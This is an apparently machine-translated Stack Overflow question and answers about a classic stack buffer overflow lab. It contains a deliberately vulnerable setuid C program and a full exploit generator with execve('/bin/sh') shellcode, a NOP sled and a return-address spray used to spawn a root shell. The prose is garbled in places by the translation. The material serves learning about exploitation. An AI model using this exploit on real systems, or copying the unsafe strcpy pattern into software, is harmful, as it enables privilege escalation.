2015-10-14 2 views
0

Эта проблема была рассмотрена несколько раз здесь, в stackoverflow, но я не могу найти какое-либо предыдущее сообщение, которое касается некоторых вопросов, которые у меня есть. Хотелось бы отметить, что я прочитал «Alef One» «Разрушение стека для удовольствия и прибыли», но в моем понимании все еще есть пробелы.C - Детали переполнения буфера

Мой вопрос: Это работает (нерестится корневой оболочки) для различных буферных размеров stack.c в кислородном конвертере() от buffer[12] к buffer[24]. Почему это не работает (ошибка seg) для buffer[48] (что приводит к ошибке seg), например (или, как программа должна быть изменена, чтобы заставить ее работать для таких буферов)?

Пожалуйста, обратите внимание, что используются следующие команды при компиляции stack.c

# gcc -o stack -z execstack -fno-stack-protector stack.c 
# chmod 4755 stack 

И ASLR выключен.

Во-первых, давайте посмотрим на уязвимой программы: stack.c

#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 

int bof(char *str) 
{ 
    char buffer[12]; 
    strcpy(buffer, str); 

    return 1; 
} 

int main(int argc, char **argv) 
{ 
    char str[517]; 
    FILE *badfile; 

    badfile = fopen("badfile", "r"); 
    fread(str, sizeof(char), 517, badfile); 
    bof(str); 
    printf("Returned Properly\n"); 
    return 1; 
} 

И программы, чтобы использовать это: test.c

#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
// code to spawn a shell 
char shellcode[] = 
"\x31\xc0" 
"\x50" 
"\x68""//sh" 
"\x68""/bin" 
"\x89\xe3" 
"\x50" 
"\x53" 
"\x89\xe1" 
"\x99" 
"\xb0\x0b" 
"\xcd\x80" 
; 

unsigned long get_sp(void) 
{ 
    __asm__("movl %esp, %eax"); 
} 
void main(int argc, char **argv) 
{ 
    FILE *badfile; 
    char *ptr; 
    long *a_ptr; 
    long *ret; 

    int offset = 450; 
    int bsize = 517; 

    char buffer[bsize]; 

    // a_ptr will store the return address 
    ptr = buffer; 
    a_ptr = (long *) ptr; 

    /* Initialize buffer with 0x90 (NOP instruction) */ 
    memset(&buffer, 0x90, bsize); 

    /* Fill buffer with appropriate contents */ 
    printf("Stack Pointer (ESP): 0x%x\n", get_sp()); 

    ret = get_sp() + offset; 
    printf("Address: 0x%x\n", ret); 

    int i; 
    for (i = 0; i < 350; i += 4) 
     *(a_ptr++) = ret; 

    for (i = 450; i < sizeof(shellcode) + 450; i++) 
     buffer[i] = shellcode[i-450]; 

    buffer[bsize - 1] = '\0'; 
    /*Save the contents to the file "badfile" */ 
    badfile = fopen("./badfile", "w"); 
    fwrite(buffer, 517, 1, badfile); 
    fclose(badfile); 
} 

Ниже я попытаюсь объясните, что я думаю, и напишите заметки о том, где я считаю, что пробелы в моих знаниях. Если у кого есть время, чтобы пройти это, а также ответить на вопрос, как было сказано ранее, то спасибо.

Очевидно, что buffer[12] в stack.c собирается быть переполнен, когда зЬгсру() вызывается, так как строка размером 517 копируется в буфер размером 12.

В тесте. c, я понимаю, что мы создаем вредоносный буфер, который должен быть прочитан stack.c. Этот буфер инициализируется связкой NO-OP (0x90). Помимо этого, я немного смущен.

1) Какая точка смещения добавляется к ret в ret = get_sp() + offset;? Кроме того, почему offset = 450? Я пробовал другие значения для смещения, и эта программа все еще работает (например, 460). 450 похоже на предположение, что это происходит.

2) В for (i = 0; i < 350; i += 4), почему используется 350? Я не понимаю смысла этой ценности. Я считаю, что этот цикл заполняет первые 350 байтов буфера обратным адресом ret, но я не понимаю, почему это 350 байтов. Я считаю, что мы увеличиваем i на 4 каждый раз, потому что (long *) составляет 4 байта. Если это так, не должно ли это 350 также быть кратным 4?

3) Опять же, в for (i = 450; i < sizeof(shellcode) + 450; i++) (sizeof (shellcode) is 25), почему мы начинаем с 450 в буфере? Это говорит о том, что мы заполняем буфер [450] в буфер [475] кодом оболочки. В настоящее время все после этого должно быть инициализировано NO-OP. И что? Почему 450 - 475?

+0

Несколько вопросов в одном, неясном, слишком широком и потенциальном вредоносном ПО. Это простое или простое голосование. –

+0

Потенциальное вредоносное ПО? Во всяком случае, я редактировал сообщение @MartinJames. Пожалуйста, помогите мне улучшить пост дальше, если это понадобится. – binker

ответ

0

Имейте в виду, что в 32-разрядной программе x86, такой как это, байты поверх стека сохраняются, от младшего адреса вверх: локальные переменные, обратный адрес функции, ее параметры, любые регистры сохраненные вызывающим абонентом, локальные переменные вызывающего абонента и т. д.

Цикл на самом деле пишет 348 байтов в четырехбайтовых обратных адресах в верхней части стека. (Он предшествовал C99 и x86_64 и поэтому предположил, что long составляет ровно 32 бита.) Цель этого заключается в том, чтобы гарантировать, что для любого правдоподобного объема хранения для локальных переменных адрес возврата будет перезаписан. Он также пытается обработать случай, когда функция с уязвимостью вызывается с нескольких уровней в глубину, а верхняя часть стека уже не совпадает. Затем есть дополнение с инструкциями nop, потому что, если функция вернет землю где-нибудь там, CPU просто пропустит их. Наконец, на машинный язык есть код оболочки. Все дело в том, чтобы получить адрес возврата в любом месте этой части буфера. Обратите внимание, что это будет работать, только если код эксплойта может быть уверен, что адрес указателя стека в адресном пространстве вызывающего абонента аналогичен. Рандомизация адресного пространства - это способ победить это.

Другими словами, код повторяется несколько сотен раз, потому что материал может не быть точно таким же местом в новом процессе, и таким образом он все равно работает, если указатель стека находится где угодно, где бы он ни находился. Значения - цифры в шале, но Aleph One рассказывает о том, как их найти.

+0

Не могли бы вы уточнить - вы сказали, что код повторяется несколько сотен раз. Из того, что я могу сказать, шеллкод помещается только в буфер один раз, а обратный адрес хранится несколько сотен раз. Означает ли это, что адрес возврата, который записывается в буфер в test.c, должен указывать на какой-то код оболочки? – binker

+0

Правильно. Дело в том, чтобы перезаписать обратный адрес с угаданным адресом кода оболочки, так что при возврате программа запустит код оболочки вместо возобновления с whete, который был вызван. Однако он точно не знает, где обратный адрес или код оболочки. – Davislor

+0

О, и размеры буфера, которые не являются кратными 4, здесь не работают, потому что 4-байтные обратные адреса не выровнены. – Davislor

Смежные вопросы